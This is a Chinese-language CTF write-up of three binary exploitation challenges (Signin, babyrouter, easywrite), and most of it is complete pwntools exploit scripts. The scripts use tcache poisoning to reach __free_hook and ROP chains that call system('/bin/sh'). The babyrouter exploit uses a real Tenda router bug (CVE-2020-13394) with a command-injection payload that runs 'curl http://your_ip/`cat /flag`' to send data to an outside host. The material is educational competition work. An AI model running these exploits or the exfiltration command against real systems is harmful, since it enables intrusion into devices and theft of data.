Signin
题目逻辑
题目定义了一个用于容器空间动态拓展的结构体:
Struct a
{
void* start; // 申请的chunk起始地址
void* point; // 当前使用空间的地址
void* end; // 容器内部最多存放元素的结束地址
}
题目new功能向容器内部写入一个8字节长度的数字,容器空间拓展规则如下:每次内部元素个数达到最大后,分配当前空间的2倍空间,并将旧空间数据拷贝到新空间。
delete功能就单纯将point指针值-8。
show功能将point指针-8后的地址里面的值打印出来。
利用
不断得new,chunk大小变化为 0x20(A), 0x20(B), 0x30, 0x50, 0x90。
两个0x20的chunk放入了tcache中(B->A),利用delete和show功能就能够泄露堆地址。
修改B chunk里的fd指针,分配chunk到tcache里。
分配到tcache后就好办了,修改tcache->conuts[tc_idx], free掉一个chunk泄露libc基址,再修改tcache->entries[tc_idx]来申请到__free_hook。
由于没有合适的one_gadget可用,使用setcontext+53来ROP。
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def send(choice):
p.sendlineafter('>>', str(choice))
def add(index, number):
send(1)
p.sendlineafter('dex:', str(index))
p.sendlineafter('Number', str(number))
def delete(index):
send(2)
p.sendlineafter('dex', str(index))
def show(index):
send(3)
p.sendlineafter('dex', str(index))
elf = ELF('./signin')
libc = elf.libc
# p = process('./signin')
p = remote('47.242.161.199', 9990)
add(1, 0) # chunk 0 0x20
add(1, 1) # chunk 1 0x20
add(1, 2) # chunk 2 0x30
add(1, 2) # chunk 2 0x30
add(1, 3) # chunk 3 0x50
add(1, 3)
add(1, 3)
add(1, 3)
for i in range(7): # chunk 4 0x90
add(1, 4)
add(1, 4)
for i in range((0xe8 // 8)+6):
delete(1)
show(1)
heap_base = int(p.recvuntil('\n')[1:]) - (0x0000560689472e70-0x0000560689461000)
log.info("HEAP BASE: "+hex(heap_base))
tcache_fake_chunk = heap_base+0x50+0x150
delete(1)
add(1, tcache_fake_chunk)
add(2, 0)
add(2, 0) # tcache_fake_chunk
add(1, 0)
add(1, 0)
add(1, 0x31)
for i in range(4):
add(1, 0)
add(1, 0)
add(1, 0x51)
for i in range(0x40//8):
add(1, 0)
add(1, 0)
add(1, 0x91)
for i in range(0x80 // 8):
add(1, 0)
for i in range((0x150+0x40+0x10)//8):
delete(2)
for i in range((0x40+0x20)//8):
if i == 0:
add(2, 0xffffffffffffff00)
else:
add(2, 0xffffffffffffffff)
add(1, 5) # free 0x90 chunk in unsorted_bin
for i in range((0x88+0x80)//8):
delete(1)
show(1)
libc_base = int(p.recvuntil('\n')[1:]) - (0x00007ffff782eca0-0x7ffff7443000)
log.info(hex(libc_base))
setcontext = libc_base + 0x52145
free_hook = libc_base + libc.sym['__free_hook']
sh = libc_base + libc.search('/bin/sh').next()
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_rsi_ret = libc_base + 0x0000000000130889
ret = libc_base + 0x00000000000008aa
for i in range(4):
delete(2)
for i in range(0x100//8):
add(2, free_hook)
for i in range((0x70)//8):
add(1, 0)
add(1, 0)
add(1, 0x111)
# orw = [setcontext, pop_rdi_ret, heap_base+0x11fc0-8*3, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['open'],
# pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['read'],
# pop_rdi_ret, 1, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['write']
# ]
orw = [setcontext, pop_rdi_ret, sh, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['system']]
for i in range((0xa0-len(orw)*8)//8):
orw += [0]
orw += [heap_base+0x11fc0+8, ret]
for value in orw:
add(1, value)
for i in range((0x100//8)-len(orw)):
add(1, 0)
add(1, 0)
p.interactive()
babyrouter
晚上才看到这题,开始改docker还改出一堆错误太菜了,无奈拿了个四血(Venom tql)。
题目
逆的时候发现有Tenda
关键字,Google一下发现CVE-2020-13394
,https://joel-malwarebenchmark.github.io/
链接里给的POC把路径给隐藏掉了,但逆一下就能找到路径应该是/goform/SetNetControlList
经过测试,这个payload得发送两次,而且需要断开TCP连接后才能触发漏洞点strcpy
给的start.sh
改成这样,docker exec
上去用gdbserver
就能愉快的调试了。
#!/bin/sh
# Add your startup script
brctl addbr br0
ifconfig br0 10.10.10.10 up
service nginx start
nginx -t
nginx -s reload
PRO_NAME=qemu-arm
while true ; do
NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
if [ "${NUM}" -lt "1" ];then
echo "${PRO_NAME} was killed"
${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt& # debug
rm /qemu_httpd*
rm /tmp/core-qemu*
fi
done
调试确定偏移,并且由于程序由qemu
起的,栈地址以及libc基址不变,调试得到这两个地址直接写进去,最后调用system()
函数。
由于需要断开TCP连接才能触发漏洞,system函数执行curl http://ip/`cat /flag`来带出flag
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
payload = '''POST /goform/SetNetControlList HTTP/1.1\r
Host: 192.168.18.131\r
Accept: */*\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-US,en;q=0.9\r
Connection: close\r
Cookie: password=qpl5gk\r
\r
list={}\r
'''
url = '8.210.119.59'
port = 9990
# url = '127.0.0.1'
# port = 2333
libc_base = 0xf659b000
vuln_start = 0xf6ffefbc
system = libc_base + 0x0005A270
sh = libc_base + 0x00626D2
pop_r0_pc = libc_base + 0x0003db80
p = remote(url, port)
p.send(payload.format('1'))
p.close()
p = remote(url, port)
p.send(payload.format(';'+'1'*(0x260-1+9)+p32(pop_r0_pc)+p32(vuln_start+0x260+0xc)+p32(system)+'curl http://your_ip/`cat /flag`'))
p.close()
easywrite
比赛时没做出来,赛后看https://ctftime.org/writeup/24295复现了下
思路是伪造struct tcache_perthread_struct
改 tcache, malloc(0x30)到free_hook,改free_hook。
不过没有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八个字节放"/bin/sh", 后8个字节放system函数地址。
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def get_libc_base():
p.recvuntil('gift:', timeout=5)
libc_base = int(p.recv(14), 16) - libc.sym['setbuf']
return libc_base
def send_message(content):
p.sendafter('message', str(content))
def send_addr(addr):
p.sendafter('write', p64(addr))
pfree = 0x0000000000001371
elf = ELF('./easywrite')
libc = ELF(('./libc-2.31.so'))
# p = process('./easywrite')
p = remote('124.156.183.246', 20000)
# gdb.attach(p,'b*$rebase({})'.format(pfree))
libc_base = get_libc_base()
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
tcache = libc_base + 0x1f34f0
one_gadget = libc_base + 0xe6e76
system = libc_base + libc.sym['system']
fake_chunk = '\x07'*0x80+p64(free_hook-8)*4
p.sendafter("message", str(fake_chunk))
p.sendafter('write', p64(tcache))
p.sendafter("message", '/bin/sh\x00'+p64(system))
p.interactive()